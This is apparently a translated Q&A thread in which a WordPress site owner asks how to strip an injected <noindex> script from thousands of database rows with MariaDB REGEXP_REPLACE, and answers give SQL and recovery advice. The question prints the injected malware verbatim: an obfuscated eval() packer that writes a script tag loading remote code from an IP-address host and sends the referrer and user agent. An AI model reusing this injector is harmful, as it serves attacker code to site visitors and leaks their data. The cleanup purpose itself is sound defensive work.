Maria DB查询选择,然后更新表以删除不需要的HTML和脚本标签

时间:2019-06-12 20:19:12

标签: mysql mariadb

以下代码已注入到我的客户的WordPress数据库中的多行中:

<noindex>
    <script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
        eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
    </script>
</noindex>

我需要从每个表行中成功删除<noindex></noindex>标记及其中的所有内容。

此查询成功选择了所有受影响的行(总计15066):

SELECT * 
FROM 'wp_posts' 
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'

当我尝试使用类似的UPDATE查询时,将返回零结果。我当前的查询如下:

UPDATE 'wp_posts' 
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') 
WHERE 'ID' = 1933;

设置的ID仅用于测试目的。服务器正在运行MariaDB 10.2。任何建议或技巧都将不胜感激。

使用REGEXP_REPLACE成功进行UPDATE查询

UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');

2 个答案:

答案 0 :(得分:2)

警告:始终在应用UPDATE之前对数据库进行备份。

根据documentation

  

REGEXP_REPLACE返回所有替换为字符串替换的正则表达式模式的字符串主题。如果未发现任何事件,则按原样返回主题。

您可以尝试:

UPDATE wp_posts
SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');

如果在<noindex>标记之间有换行符,则需要调整正则表达式。例如'<noindex>[[:ascii:]]*</noindex>'。有关详细信息,请参见Regular Expressions Overview

备注:

1)如果您的合法内容使用<noindex>标记,请通过添加违规内容的子字符串来修改正则表达式。

2)遭受攻击之后,好的做法是清除所有内容,进行全新安装,并将数据库和文件还原到攻击之前的版本。

3)确保您的wordpress版本和所有插件是最新的。

答案 1 :(得分:0)

如果必须这样做,我会将wp_posts表转储到SQL文本文件中,然后使用文本编辑器选择/替换有问题的文本,然后再次导入SQL文件。

大多数文本编辑器都具有支持正则表达式的选择/替换功能。而且,您可以轻松地查看结果。

准备导入表时,先RENAME TABLE wp_posts TO wp_posts_old;,然后导入它。

如果WordPress之后可以正常工作,那就太好了。如果不是,则DROP TABLE wp_postsRENAME TABLE wp_posts_old TO wp_posts会还原内容。